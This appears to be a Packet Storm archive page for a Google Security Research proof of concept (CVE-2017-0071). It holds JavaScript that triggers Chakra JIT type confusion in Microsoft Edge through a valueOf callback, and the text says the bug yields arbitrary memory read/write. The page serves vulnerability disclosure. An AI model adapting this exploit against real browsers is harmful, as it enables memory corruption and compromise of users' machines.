what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Edge Charkra Incorrect Jit Optimization

Microsoft Edge Charkra Incorrect Jit Optimization
Posted Mar 16, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge suffers from a Chakra incorrect jit optimization with TypedArray setter.

tags | exploit
advisories | CVE-2017-0071
SHA-256 | 1b46e127b6ddac3b8687236807501f6cf5c33f38c13ddeea9d9b0fab9aaacbcd

Microsoft Edge Charkra Incorrect Jit Optimization

Change Mirror Download
Microsoft Edge: Chakra incorrect jit optimization with TypedArray setter. 

CVE-2017-0071


PoC:

"use strict";

function func(a, b, c) {
a[0] = 1.2;
b[0] = c; <<<<----------------------- (1)
a[1] = 2.2;
a[0] = 2.3023e-320;
}

function main() {
var a = [1.1, 2.2];
var b = new Uint32Array(100);

// force to optimize
for (var i = 0; i < 0x10000; i++)
func(a, b, i);

func(a, b, {valueOf: () => {
a[0] = {}; <<<<----------------------- (2)

return 0;
}});

a[0].toString();
}

main();

In the above code, Chakra assumes that the type of |a| will be still a native float array after executing (1), even we could change its type with the valueOf handler( (2) ). So it could result in type confusion.

The attached PoC will reproduce arbitrary memory read/write.

Tested on Microsoft Edge 38.14393.0.0.


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close